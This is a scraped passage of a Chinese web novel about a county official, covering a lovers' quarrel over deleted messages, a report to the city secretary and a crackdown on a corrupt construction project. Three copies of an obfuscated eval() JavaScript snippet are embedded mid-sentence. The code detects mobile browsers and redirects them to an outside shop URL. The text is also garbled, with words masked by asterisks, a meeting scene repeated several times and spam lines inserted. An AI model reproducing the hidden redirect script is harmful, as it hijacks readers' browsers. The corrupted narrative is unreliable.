每次见到李承,都是李处长,李处长的殷勤喊着,会主动给李承递烟,十分客气。 可他的儿子,现在却想追求李承的女朋友! 李承微微摇了摇头,心中有愤怒,也有官场人的无奈。 人走茶凉。 若是李承还是省长秘书,给对方一百个胆子,对方也不敢惦记许梦。 这就是欺负李承远离权力核心,没有孟良德给撑腰,才敢肆意妄为! “老公,你不要管他了,反正我是不可能答应他的追求,我非常明确告诉过他,我有男朋友。 他就是一个狗皮膏药,一头死肥猪,还想追我,哼,他跟我老公根本没法比!” 许梦挽着李承的胳膊,用这种方式,让李承安心。 “嗯。” 李承点了点头,关心地问:“你饿不饿?” 如果许梦有跟别人的想法,就算李承是省长,也拦不住。 就算拦住她的人,也拦不住她的心。 如果许梦专一自己,那么,李承也没必要过多担心。 爱人之间,最重要的就是信任..... “不饿,想回家抱着你。” 第302章 误会 回到家,关闭房门。 李承迫不及待地将许梦按在玄关处的墙壁上,开始拥吻对方。 许梦也尽情地配合着,享受着李承嘴唇和舌尖的温度。 她美眸紧闭,双手在李承宽阔的背部抚摸。 这一刻的相聚,两个人已经等待了很久,思念让两个人贪婪地吸允着对方的温柔。 从门口吻到沙发,许梦坐在李承的双腿之上,亲吻的同时,双手解开他的纽扣。 李承也将手掌伸入了她的衣内,触碰那滑嫩火热的肌肤,去亲吻她全身的肌肤.... 一场久别的交融,让两人如同久旱逢甘霖一般,畅快而回味无穷.... 激情过后,许梦躺在李承的怀中,心疼地说:“老公,这才五六天没见,你怎么都瘦了呢。” “想你想的呗,再见不到你,我都要得相思病了。”李承吻了一下她的额头,说。 “我也想你。” 许梦伸出手,从床头拿过李承的手机,检查起来李承的聊天记录。 “她是不是对你有意思?” 许梦翻开完刘婷的聊天记录后,看着对方的朋友圈,问。 刘婷的朋友圈,就属于那种‘精装修’的朋友圈,里面晒的东西,都是各种各样的美照。 刘婷本来底子就不错,再加上美颜和P图,算得上大美人。 许梦想到自己男朋友身边,每天都跟着这么一个漂亮女人,心里难免吃醋。 “她是陈县长安插在我身边的眼线,是个大麻烦,换又换不掉,每天除了工作,我还要防着她,唉....” 李承用了一种委婉的方式,说明他和刘婷的关系。 暗指两个人根本没有那种可能。 “你跟我说实话,你对她有没有想法?” 许梦轻哼一声,明亮的美眸盯着李承,问。 “没有,绝对没有。” 李承认真地保证,道:“我有这么漂亮的老婆,我能看上她吗?你对自己这点自信还没有呀?” “那我不是没在你身边吗?”许梦撅着小嘴,说。 “那你什么时候能在我身边呀?”李承问。 许梦之前说,要辞职来陪自己,李承嘴上说,支持许梦的任何决定,就算她不辞职,李承也会支持。 可心里,还是希望许梦能来陪她。 “我想辞职,可我妈死活都不让,她说最起码等我这个自媒体稳定下来,有了收入再辞职。 我想着,她说的也在理。 我辞职了,自媒体要是赚不到钱的话,全部的生活压力都要你一个扛着,我不想让这么累。” 许梦伸手抚摸着李承的脸,温柔地说:“再等等好吗?” “没关系,我那边也还不稳定呢。”李承心里略微有些失落,笑着宽慰道。 “嗯,我是爱你的,真的真的好爱你。”许梦再次吻向李承,表达她的爱意。 李承顺势将许梦紧紧抱在怀中,翻身而上。 ..... 次日,早。 李承睁开眼睛,就看到许梦正拿着他的手机,好像是在发消息,满脸的愤懑。 “怎么了,宝宝?”李承迷迷糊糊地问。 “李承,你觉得我很好骗吗?”许梦冷眼看向李承,问。 一时间,李承的睡意全无,他皱起眉头:“什么意思?” “你跟刘婷的聊天记录,是不是删了?”许梦质问道。 “嗯,删了一些。” 李承深吸一口气,有些懊悔昨天为了防止许梦吃醋,而删除聊天记录的行为。 “我们分手吧!” 许梦将手机丢在李承面前,准备离开卧室。 “我和她什么都没有聊,我删的,只是她平时的嘘寒问暖,我都没怎么回她,我是怕你看了吃醋,这才删的。” 李承连忙起身拉住许梦的胳膊,解释道。 “你觉得我会信吗?”许梦冷声问。 “你相信我,我爱你,我跟她真的没什么,我可以发誓!”李承信誓旦旦地保证道。 “没什么她早上给你发这么多消息?” 许梦甩开李承的手,怒声呵斥。 在她的眼圈中,喊着泪光:“李承,我真是看错你了!” 许梦出了客厅,李承没有追,她想先搞清楚刘婷都发了什么,让许梦如此愤怒。 拿起手机,李承看着上面的聊天记录,眼神逐渐冰冷。 【领导,你干嘛呢,突然见不到你,心里很想你。】 【我给你发消息是不是打扰到你了,我不是故意的,就是忍不住的想给你发。】 【唉...你昨天说不让我周末打扰你,可我就是控制不住自己,领导,对不起。】 看到这些消息,李承知道,这个刘婷绝对是故意的。 此人心机太深,这是故意想破坏李承和许梦的感情! 许梦很敏锐。 她在看到刘婷给李承发的这些暧昧信息后,就意识到了一点,李承删除了聊天记录。 因为其他的聊天记录都是工作。 如果两个人平时只聊工作,刘婷不可能无厘头地发来这么多。 于是,许梦用李承的手机回复了一条:【我怎么说的,让你不要打扰我?】 【发微信说的呀?】刘婷回复。 【我怎么不记得,没说过。】许梦回复。 紧接着,刘婷甩出来一张聊天记录的截图。 这是李承删除聊天记录的铁证。 看到这些对话,李承想杀人的心都有了。 他冲出房间,看到许梦已经穿好了衣服,准备离开。 李承紧忙冲上前,将许梦抱住。 “别碰我!”许梦挣扎,眼泪流出。 “你听我解释,事情不是你想的这样,删除聊天记录是我不对,但我跟她没什么。 她发这些,估计就是想破坏咱们的感情!” 李承紧紧抱着许梦,急切地解释着。 他很冤枉,因为在刘婷主动投怀送抱时,他从来都是拒绝,疏远,他心里始终爱着许梦,要对许梦负责。 可他也不冤枉,因为他删掉了聊天记录。 “她是陈红旗的人,陈红旗想用她来腐蚀我,我跟她真的没什么,我每天恨不得离她远远的。 我发誓!我要是做过任何对不起的事情,说半句谎话,出门就被车撞死! 你相信我好不好?删聊天记录是我错了,我只是不想让你看到她发的那些而吃醋。” 第303章 真话 “你让我怎么相信你,我有没有告诉过你,我讨厌欺骗。 是,可能她讨好你的聊天记录,我看到了会生气,但只要你什么都没有回应她,我能分辨出来好坏。 我不在意她怎么给你发,我只在乎你是怎么回的。 可现在聊天记录删了,我不知道你怎么回的,我就会胡思乱想,我怎么知道你跟她有没有事!” 许梦哭泣着,说出自己的委屈。 她爱李承,她以前也相信李承。 可这件事的发生,让她对李承的信任崩塌了。 积攒信任需要很久很久,可信任的崩塌,只在一瞬之间! 这件事存在误会。 李承删除聊天记录的行为,站在李承的角度,其实并不算什么太大问题。 因为他一直在疏远刘婷,从来没想过做出任何背叛许梦的事情。 他对许梦讲的,也都是事实真相。 可现在聊天记录删除了,没有了证据。 许梦无法确定李承说的是真话还是假话! “这样,我现在给她打电话,她手机里有聊天记录,我让她截图过来,好不好?” 李承思来想去,只想到这一个办法。 说完,李承也不等许梦同意,拿起电话拨通给了刘婷,并按下了免提键。 “喂,领导,有什么指示呀?”刘婷笑盈盈地问。 听到她的声音,李承就气不打一处来。 但他还是强装平静,语气平淡地说:“小刘,你把从我们加微信,到今天的聊天记录录屏给我发过来。” “怎么了?领导,要聊天记录干嘛?”刘婷诧异地问。 “我的聊天记录找不到了,有些文件和情况我要对一下,尽快!”李承找了一个借口,用不容置疑的语气说。 身正也怕影子斜。 他担心刘婷再搞出些什么幺蛾子来,所以编造了一个借口。 “哦...好吧。” 挂断电话,大概等了两分钟,李承收到了刘婷的录屏视频。 两个人的聊天记录很少,刘婷有意跟他聊,但李承向来不怎么回复。 “这是我和她的聊天记录,你看看,我真的没有骗你。”李承将手机递给许梦,说。 许梦沉默了两秒,她从李承手里接过手机,点开了视频。 视频内容,是李承和刘婷的全部聊天记录。 在看完整个聊天记录后,许梦确定李承没有说谎,原本的愤怒情绪也消退了不少。 “宝宝,我没有骗你,只是我们的周末很短,我不想你因为这些事情不开心。 对不起,下一次这种错误我不会再犯了。”李承保证道。 “我吃醋生气,你可以哄哄我,但你不要删除聊天记录,我会胡思乱想的,本来我们就见不到。” 许梦摸了一把眼泪,说。 “我知道,知道了。” 李承将许梦再次抱进怀里,抚摸着她的头发:“不会再有下次了。” “我爱你,你别骗我...” “不会,我不会骗你。” ...... 周末,转瞬即过。 许梦是一个敏感脆弱的女孩,即便误会解开了,李承也在用整个周末去安抚她的情绪。 周一,李承订了早上七点的票。 九点钟,他回到了滨西市。 李承没有叫拼座车回风林县,而是去了市委大院。 他上午约了市委书记,周全。 十点。 李承在齐秘书的引领下,进入市委书记办公室。 “周书记。”李承跟周安打了个招呼。 “李承同志,坐。” 周安看到李承到来,放下了手中的笔,示意李承坐在对面。 “周书记,我这次过来,是想跟您汇报一下产业园区的情况。”李承坐在他的对面,开门见山。 “风林产业园区的进展过于缓慢,已经超出了省里和市里的预期,陈红旗和王革每次汇报工作,都是各种理由和借口。 我想听一点真话。”周安说。 他是一个实干型的干部,励志于地方经济的发展。 其实,风林县的产业园区,他也想一手抓。 但他每天工作量太大,滨西矿业的改革才结束,还有很多企业的问题等待他决策。 他并没有那么的精力。 “周书记,您在我这里也听不到假话,呵呵呵...” 李承笑着开了句玩笑,说:“产业园区的发展停滞,我总结了几点。 一,是政策落实没跟上,省里市里政策再好,县里执行缓慢,就会影响发展速度。 二,各个部门懒政行为也较严重。 三,内部存在一定的贪腐问题,官商勾结,个别领导只在乎个人利益。 而且,还存在一定的政治斗争。” 李承一针见血,将他在风林县看到的情况,如实汇报。 李承没有夸大其词,反而是收着说的。 实际上的风林县,问题远比这严重得多。 “嗯,这些事情我都有了解,风林县终于来了一个敢说真话的领导了。”周安点了点头。 风林县什么情况,作为市委书记的他,也有一定的了解。 只是出于很多层面的考虑和权衡,他没办法干涉太多。 而且,他这位市委书记在滨西市的根基,也没有那么稳定。 “风林县不止我一个人敢说真话,之前的女县长林青,她比我更有魄力。” 李承将话题引到林青身上,不加掩饰地表达对林青的认可:“我敢这么做,是因为我有首长,有您给我做背书,我没有后顾之忧。 可她没有背景,就敢只身一人跑到省政府汇报情况,这份魄力,才令人佩服。” “是呀,要是没有她,我还不了解风林的具体情况呢。” 周安认可了李承的说法,惋惜地说:“可惜,这么好的一个苗子,却走上了违纪的道路。” 林青身为副县长,在调查她时,县纪委跟市纪委做出过汇报工作。 市纪委也告知给了市委书记周安。 林青的停止,就是周安拍板同意的。 不过,对于林青的具体情况,他没有更深入的了解,只是凭借纪委传达的信息,做出的决定。 “违纪的不是她,她是一个光明磊落的干部,其中有误会。” 李承说着,打开公文包,将两份文件递给了周全:“周书记,您看看这个。” 第304章 考量 两份材料。 一份是管委会纪委写出了情况说明。 管委会**委作为下属**单位没有资格为**出具任何决定性的文件也不能开具任何的保证信之类的。 只能通过情况说明的方式让领导知道**的工作态度加证领导对**的信任。 另一份材料则是**自己的手写信。 她将自己与**三十万的关联性说出来表明自己从未参与**县纪委的调查存在不实等等 “周**我在风林县工作不久但我打听过**县长的情况百姓和下属对她都是好评如潮。 她是一个被高度认可的好官。” 李承以百姓和下属的名义为**说好话既能加强周全对**的认可又能撇开一定的责任。 而收集这两份材料就是李承为了挽救**的**仕途做出的佐证。 “嗯。” 周安应了一声认真看着手中两份文件。 李承不再开口保持沉默等待对方。 五分钟后周安放下了文件他抬起头看向李承:“李承同志你觉得这件事应该怎么处理?” 李承虽为他的下属但李承的身份背景不同他有一位省部级领导做靠山。 周安对李承也相对客气愿意听取一下李承的建议。 周安也清楚 “**同志到底有没有违法乱纪的行为这个我觉得不能听某一方的一面之词。 **的话要保持怀疑但是县纪委的话也要保持怀疑。 **去省政府告过陈红旗等的状怕是其中夹杂着个人恩怨。 所以我想请示一下周**能不能让市纪委的同志接收调查此事给这件事一个最公正的结果。” 李承的一番话是站在公平公正的角度上讲的。 他并没有包庇**。 他相信**的为人所以更不能包庇和偏向。 给**争取一个最公正的调查方式才是对**的最大帮助。 “嗯情况我了解回头我跟市纪委开个会商量一下这件事的解决方式。” 周安点了点头认可李承的说法。 “周**还有一件事我想跟您做个汇报。”李承继续道。 “你说。” “产业园区的基建存在一定的**结行为我想着今天能不能就让市纪委的同志 听说看这本书的人都是很幸运的,分享后你的运气会更棒 去一趟风林县。 去了解**同志问题的同时,顺便去一趟产业园区,看看园区的问题。李承说。 **的问题,只是今天李承来见周安的一个引子。 帮助**的同时,李承还要达到自己的**目的,一箭双雕,甚至是一箭三雕。 “今天?太匆忙了吧?周安微微蹙眉,说。 “周**,今天最合适。 李承给周安投去了一个意味深长的眼神,没有把话点破。 周安也是刚上任滨西****不久,产业园区如果能发展得好,同样是他领导下的一笔功绩。 对此,李承相信周安会配合。 “嗯既然事关产业园区的发展,那就定今天。 周安会意,他的目光看向身旁的齐秘书,说:“小齐,你去联系一下纪委,让他们出个人,你们一起陪李县长走一趟。 周安清楚,李承不只是要为**证清白,也是想让**方面给他撑场子。 “好的**。 下午。 **的公车开往了风林县。 第一站是风林产业园区。 旗胜的施工团队,仍在继续施工中,李承的吩咐对他们来说,如同虚设。 下了车,李承几人走到施工队旁。 压路机发出轰隆隆的声音,格外朝外。 “我不是叫你们停工吗?怎么还在继续?李承指着那群工人,大声命令:“我都给我停了! 对于李承的吩咐,那些工人是视而不见。 负责人带着笑脸,走到李承身边:“李县长,我们没有收到任何的停工通知。 这些工人都要拿工资,在没有正式文件下发之前,不能说停就停。 陈红胜吩咐过他们,告诉他们不停工。 相比于一位县长的命令,陈红胜的命令对他们而言才是王道。 毕竟,他们拿的是陈红胜的工资。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244516|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李承拿出电话,拨通给了韩帅。 “韩主任,我让你下达停工通知已经将近一个星期了吧?为什么还没有落实! 李承故意强调日期,大声质问。 施工队为何不停工,李承再清楚不过,他在来之前,就知道施工队不会停工。 他是在表现给齐秘书,和市纪委的**监察室主任**看。 让他们清楚产业园区的内部状况,通过他们的嘴,传达到****和市纪委**的耳中。 “李县长,都跟您说过了,停工需要走 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 流程,流程还没走完呢。”韩帅慵懒地说。 在他的声音里,李承听到了些醉意,但周围环境相对安静。 而自从跟李承翻脸之后,他就完全放飞自我了,演都不想演。 “什么流程需要走这么多天?是不是要这条破路竣工后,你的流程才能走完啊!” 李承厉声质问,刻意将韩帅用流程拖延的理由,强调出来。 “用不了这么久,再等等。”韩帅敷衍道。 “我现在就是工地,你现在过来一趟!”李承不容置疑的命令后,挂断电话,不给对方找任何借口的机会。 在等待的过程中,李承带着齐秘书和刘主任,看了一眼工地的道路问题。 这条路的建设,糊弄的程度超乎想象,不需要专业人士测量,明眼人一看就知道不合格。 而陈红胜敢这么糊弄,原因也很简单。 一来,他有陈红旗撑腰,验收不用担心。 二来,偷工减料能够节省一大笔费用。 三来,道路修得破,后续就会面临维修的问题,维修道路,他们还能持续不断地从政府赚钱。 将一条修路过程,做成了长久性的敛财工具。 至于说,道路的质保期,也根本不需要担心。 旗胜公司注销,道路质保无法追究。 到时候,再开一个空头公司用来承接道路维修,就可以轻松解决。 这种左手倒右手的操作,在一位‘一言堂’县长的支持下,简单至极! 第305章 借口 管委会距离工地只有一公里的距离。 步行都用不上十分钟,可李承,齐秘书,**却足足等待了二十分钟。 等来了,还不是韩帅。 而是基建工程部门的一个副科长。 “李县长。” 副科长汪莱下了车后,小跑到李承面前。 “韩主任怎么没来?”李承沉声询问。 市里的领导都在,韩帅没有亲自到来,这是给李承‘上眼药’的行为。 李承脸上表现出愤怒,心里倒是很高兴。 对方越是狂妄,李承的机会就越好落实。 “韩主任有工作在忙,没在管委会,特意安排我来。”汪莱解释说。 “他一个分管基建工程的副主任,有什么事情,比基建问题更重要?”李承冷声问。 “额这个,是县政府安排的工作,具体我也不清楚。”汪莱挠了挠头,编造了一个理由。 韩笑打发他过来时,正在外面喝酒。 “我问你,我通知道路停工这么久了,为什么迟迟不落实?是哪个环节的问题?” 李承将矛头对准汪莱。 “李县长,这个.” 汪莱面对李承的质问,也想不到什么对策,磕磕巴巴的想要编造个理由。 “**周**的秘书和市纪委的刘主任都在,你给我实话。”李承继续施压。 以汪莱的身份,根本接触不到齐秘书和**。 在听到了二人身份后,汪莱额头渗出冷汗,他说:“我也不清楚,这个您得问韩主任。” 他没有什么理由,也不敢说谎,只能把责任推到韩帅身上。 “韩帅,他人在哪里?” 李承冷着脸:“他不来见我,那我们去见他!” “我不知道.” 汪莱摇头,他知道,但他不敢说。 “你给他打电话,问一下,以你个人的身份问,不要提我!”李承交代得很清楚,就怕对方装作听不懂,给韩帅透露消息。 汪莱迟疑了。 可感受到三位领导的目光,他又不敢反抗,只能硬着头皮,拨通了韩帅的电话。 “小汪,那边结束了吗?” 汪莱开的免提,电话接通,韩帅充满醉意的声音,和周围喧闹的声音,传了过来。 接李承的电话,他让周围人闭了嘴。 但接汪莱的电话,他没那么多顾虑。 “结束了,韩主任。” 以前他都是称呼韩帅为韩 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 哥,或者领导。 这次他特意换了称呼,就是想提醒韩帅。 可韩帅似乎是喝多了酒,并没有在意到这个细节。 “李承都说什么了?韩帅问。 “没说什么,就问问了为什么不通知停工,没别的了。 汪莱回答后,问韩帅:“韩主任,您现在在什么位置呢? “我是福满酒楼跟几个朋友喝酒呢,一会儿就回去了,我告诉你啊,李承就是一个纸老虎,不用怕他。 韩帅大咧咧地说,并没有意识到问题的严重性。 “嗯,我知道了。 电话挂断,汪莱看向李承,汇报:“李县长,韩主任在福满酒楼。 “我听见了。 李承点头,询问的目光看向齐秘书和**。 “齐秘书,刘主任,要不我们去凑个热闹?李承提议道。 对方往自己枪口上撞,李承不想错过这个机会。 “嗯,也好。 齐秘书点头答应。 周安派他过来,就是配合李承的工作,李承开了口,他也不拒绝。 齐秘书没拒绝,**更不会反驳。 “小汪,你坐我们车,带路。李承吩咐道。 让汪莱跟他们坐一起,就是防止汪莱通风报信。 汽车抵达福满酒楼。 刚进门,大厅经理就热情地迎了上来:“汪科长,您来了。 汪莱是这个酒楼的常客,但经理并不认识李承等人。 “韩主任他们在哪个包厢? 汪莱已经来了,只能配合李承,他开口询问经理。 “在福寿厅。 “嗯。 得到经理的答复,汪莱带路,将李承等人领了过去。 几人来到包厢门口,就听到里面热闹的交流声。 李承给汪莱一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244517|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神,汪莱无奈的点了下头,推开包厢门。 韩帅等人的谈笑声停止,齐齐看向门口,在看到汪莱后,韩帅说:“汪莱,你怎么过来了?那个麻烦没刁难你吧? “没李县长也来了。汪莱尴尬地说。 闻言,包厢内所有人的脸色都阴沉下来,气氛陷入死寂。 李承走进包厢,目光环视一圈。 这些人,李承认识不少,都是县里各个单位的领导层。 “大家喝得挺开心呀?李承似笑非笑地说。 上班时间,他们**在一起喝大酒,被副县长抓了一个正着,没人敢回 你的朋友正在书荒,快去帮帮他吧 应。 “韩主任,这就是你说的工作?”李承伶俐的目光盯着韩帅,问。 韩帅站起身,冷汗直流,他的目光恶狠狠瞪向了汪莱,里面充满了杀气! 韩帅怕了,但他不是怕李承,而是认出了站在李承身后的齐秘书。 齐秘书没开口,他也不敢主动打招呼。 “李县长,那个.我也是在协调管委会的工作。”韩帅编造了一个借口,吞咽了一口紧张的口水,说。 “呵呵.怪不得我上任后,工作开展一直不顺利,原来是没有掌握到风林县机关单位工作的协调方式呀。” 李承笑声中带着浓郁的挖苦。 那阴阳怪气的语气,让在座的所有人都感觉背脊发凉。 “李县长,停工这件事,需要跟县里协调,我是在按照你的吩咐,为停工做努力。 进展也很不错,停工明天就能落实!” 韩帅想用停工作为筹码,打发掉李承等人。 “辛苦韩主任了。” 李承微微一笑,说出的话,极具讽刺。 “韩主任,你继续协调工作,那我就不打扰你们了,好好喝,一定要喝好!” 李承意味深长地说完,转身出了包厢。 “风林县的官气,比想象要恶劣呀。”齐秘书推了推眼镜,说。 “齐秘书,比这更恶劣的,您还没有见到呢。” 李承用玩笑的口吻,给风林县的官场风气添油加醋。 希望通过他的嘴,能让市里更加重视起来。 第306章 列席会议 出了福满酒楼。 李承看了一眼时间,对齐秘书和**说:“齐秘书,刘主任,我们现在去县委吧。” “嗯,也好,我们再去了解一下林县长的问题,也就该返航了。”齐秘书说。 “林县长的问题,麻烦刘主任费心,下午三点有一场县委**的会议,齐秘书,您要不要一起参加?” 李承对齐秘书发出邀请。 他以调查**的名义,邀请市领导过来,就是为了这场**会议。 李承原本来说,是由市纪委的同志列席。 但周安很给力,安排了秘书亲自到访,这让李承格外惊喜。 李承当过秘书。 领导不在时,秘书就相当于是领导。 因为秘书是领导的眼睛,耳朵和嘴。 齐秘书在**会议上看到的一切情况,都会传到****周安的耳朵里。 齐秘书在**会议上,虽没有投票权和干涉权,可只要他坐在那里,陈红旗的本地帮,就不敢再拿出一言堂的架势。 齐秘书在,李承想要在**会议上争取的东西,大概率就能够争取得到! 这是李承第二次参加县委**会议,第一次,属于是**见面会。 这次,才算得上李承第一次以县委**的决策人员身份,参与会议,进行决策投票。 齐秘书的撑腰,可以给李承树立威严。 “好啊,没问题。” 周安安排齐秘书过来,就是为了给李承撑腰,他没有拒绝。 几人来到县委大院。 **和他随行的纪委同志,去接手**的调查工作。 李承带着齐秘书,来到了县委**王革的办公室。 在县委**会议之前,李承还需要跟王革打声招呼。 ‘咚咚咚’ “进。” 房门敲响,里面传来王革的许可。 他这个县委**是被架空的,县里的大事小情,他决策不了,也就放手不管。 每天就在他的办公室里待着,像是一个到点打卡上下班的职工。 “王**,**的齐秘书过来了。” 李承在来之前,给王革发消息打过招呼,对此,王革也有意料。 “齐秘书,您坐。” 王革站起身,走出办公桌,来到会客沙发,请两人坐下。 “周**最近身体还好?”王革寒暄地问。 “领导挺好的,他也一直挂念着您。”齐秘书微笑说。 “替我谢谢周**的挂念,他百忙中还能想起我,我的荣幸呀,哈哈哈”王革笑呵呵地说。 “王**,我准备列席今天的**会议,可以吗?”齐秘书主动地说。 齐秘书没有法定参与权,他只有临时列席权。 但这个权力,必须得到县委**的同意。 只要王革不点头,齐秘书进不了县委**会议的会场,这是规定。 “当然可以,这点权力我还是有的。” 王革看似随意的一句玩笑话,却道出了他的心酸和无奈。 因为,他这位县委**,也就只剩下这点名义上的权力了。 在大事情上,他做不了决策。 对于王革的点头,李承并不意外。 他不可能将齐秘书拒之门外,那是不给****的面子。 而且,齐秘书参与**会议,他也是受益者。 几个人又寒暄了一会儿,在临近**会议五分钟时,三人去到了会场。 县委常会的会议桌上,每位**的座位都是安排好的。 座位前有各位**的名字。 作为临时列席人员,齐秘书坐在一旁的角落。 县委**会议,是县里最高格的会议,一向不怎么守时的陈红旗,虽是压轴出场,却也没有迟到。 摆官架子可以,但这种会议上,再以迟到的方式摆架子,那是愚蠢。 “齐秘书,您怎么也在?” 陈红旗落座后,在几位**的低声提醒下,看到了角落中的齐秘书。 他眉头一皱,却还是挤出了笑脸,问。 “齐秘书到县里视察工作,是我邀请他过来参加会议的。”主位上的王革,开口说道。 他这并非在借齐秘书的势,而是帮李承。 他这个县委**,跟陈红旗的本地派已经闹翻了脸。 没有实权,他的处境再烂,也就止步于此了。 李承不同。 在他看来,李承在县里斗争的本钱,还有斡旋的资本,所以,他要帮李承揽下来。 如果齐秘书是李承邀请来的,陈红旗和李承也算撕破脸,对李承工作开展不利。 这些想法,是王革的考虑,是这位县委**的担当。 但**,李承压根不需要这种帮助,因为李承跟陈红旗,已经在产业园区道路建设问题上,成为了敌对关系。 “嗯,开始吧。” 陈红旗点了点头,他不信王革的话,但也没必要拆穿。 “今天召开县委**会,主要研究几项重点工作,先庆典一下到会情况。” 县委**讲话,按照流程,进行会议主题。 **讲话结束后,县委办主任开始汇报,应到**几名,实到**几名,符合规定,开始会议。 紧接着,就是会议精神,贯彻落实等等的官话。 然后开展各项议题。 李承全程抱着了解和学习的精神,去听讲。 他刚到风林县一周的时间,除非管委会之外,很多事件,很多地区他都不了解。 也就不需要开口插话。 “南吴镇的镇委**即将到期卸任,关于新任镇委**一职,组织部有几个人选,大家表决一下。” 会议开展了一个多小时后,进入人事议题。 王革说完,看向了组织部长蒋正。 “合适人选有三人,分别是张虎,鲁思文,葛占军。 张虎是现任南吴镇的镇长,有丰富的南吴镇工作经验.” 接下来,组织部长对三人的工作履历,情况,做出了具体介绍。 “鲁思文同志,近几年在联义乡的工作进步很大,是一个非常有学识,胆识的同志。 现在都提倡干部年轻化,他是几人中年纪最小,发展空间最大的干部,我建议鲁思文同志担任!” 在组织部长介绍后,**部长李春生率先发表意见。 明眼人都知道,他是在当陈红旗的马前卒! “今天召开县委**会,主要研究几项重点工作,先庆典一下到会情况。” 县委**讲话,按照流程,进行会议主题。 **讲话结束后,县委办主任开始汇报,应到**几名,实到**几名,符合规定,开始会议。 紧接着,就是会议精神,贯彻落实等等的官话。 然后开展各项议题。 李承全程抱着了解和学习的精神,去听讲。 他刚到风林县一周的时间,除非管委会之外,很多事件,很多地区他都不了解。 也就不需要开口插话。 “南吴镇的镇委**即将到期卸任,关于新任镇委**一职,组织部有几个人选,大家表决一下。” 会议开展了一个多小时后,进入人事议题。 王革说完,看向了组织部长蒋正。 “合适人选有三人,分别是张虎,鲁思文,葛占军。 张虎是现任南吴镇的镇长,有丰富的南吴镇工作经验.” 接下来,组织部长对三人的工作履历,情况,做出了具体介绍。 “鲁思文同志,近几年在联义乡的工作进步很大,是一个非常有学识,胆识的同志。 现在都提倡干部年轻化,他是几人中年纪最小,发展空间最大的干部,我建议鲁思文同志担任!” 在组织部长介绍后,**部长李春生率先发表意见。 明眼人都知道,他是在当陈红旗的马前卒! “今天召开县委**会,主要研究几项重点工作,先庆典一下到会情况。” 县委**讲话,按照流程,进行会议主题。 **讲话结束后,县委办主任开始汇报,应到**几名,实到**几名,符合规定,开始会议。 紧接着,就是会议精神,贯彻落实等等的官话。 然后开展各项议题。 李承全程抱着了解和学习的精神,去听讲。 他刚到风林县一周的时间,除非管委会之外,很多事件,很多地区他都不了解。 也就不需要开口插话。 “南吴镇的镇委**即将到期卸任,关于新任镇委**一职,组织部有几个人选,大家表决一下。” 会议开展了一个多小时后,进入人事议题。 王革说完,看向了组织部长蒋正。 “合适人选有三人,分别是张虎,鲁思文,葛占军。 张虎是现任南吴镇的镇长,有丰富的南吴镇工作经验.” 接下来,组织部长对三人的工作履历,情况,做出了具体介绍。 “鲁思文同志,近几年在联义乡的工作进步很大,是一个非常有学识,胆识的同志。 现在都提倡干部年轻化,他是几人中年纪最小,发展空间最大的干部,我建议鲁思文同志担任!” 在组织部长介绍后,**部长李春生率先发表意见。 明眼人都知道,他是在当陈红旗的马前卒! “今天召开县委**会,主要研究几项重点工作,先庆典一下到会情况。” 县委**讲话,按照流程,进行会议主题。 **讲话结束后,县委办主任开始汇报,应到**几名,实到**几名,符合规定,开始会议。 紧接着,就是会议精神,贯彻落实等等的官话。 然后开展各项议题。 李承全程抱着了解和学习的精神,去听讲。 他刚到风林县一周的时间,除非管委会之外,很多事件,很多地区他都不了解。 也就不需要开口插话。 “南吴镇的镇委**即将到期卸任,关于新任镇委**一职,组织部有几个人选,大家表决一下。” 会议开展了一个多小时后,进入人事议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244518|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题。 王革说完,看向了组织部长蒋正。 “合适人选有三人,分别是张虎,鲁思文,葛占军。 张虎是现任南吴镇的镇长,有丰富的南吴镇工作经验.” 接下来,组织部长对三人的工作履历,情况,做出了具体介绍。 “鲁思文同志,近几年在联义乡的工作进步很大,是一个非常有学识,胆识的同志。 现在都提倡干部年轻化,他是几人中年纪最小,发展空间最大的干部,我建议鲁思文同志担任!” 在组织部长介绍后,**部长李春生率先发表意见。 明眼人都知道,他是在当陈红旗的马前卒! “今天召开县委**会,主要研究几项重点工作,先庆典一下到会情况。” 县委**讲话,按照流程,进行会议主题。 **讲话结束后,县委办主任开始汇报,应到**几名,实到**几名,符合规定,开始会议。 紧接着,就是会议精神,贯彻落实等等的官话。 然后开展各项议题。 李承全程抱着了解和学习的精神,去听讲。 他刚到风林县一周的时间,除非管委会之外,很多事件,很多地区他都不了解。 也就不需要开口插话。 “南吴镇的镇委**即将到期卸任,关于新任镇委**一职,组织部有几个人选,大家表决一下。” 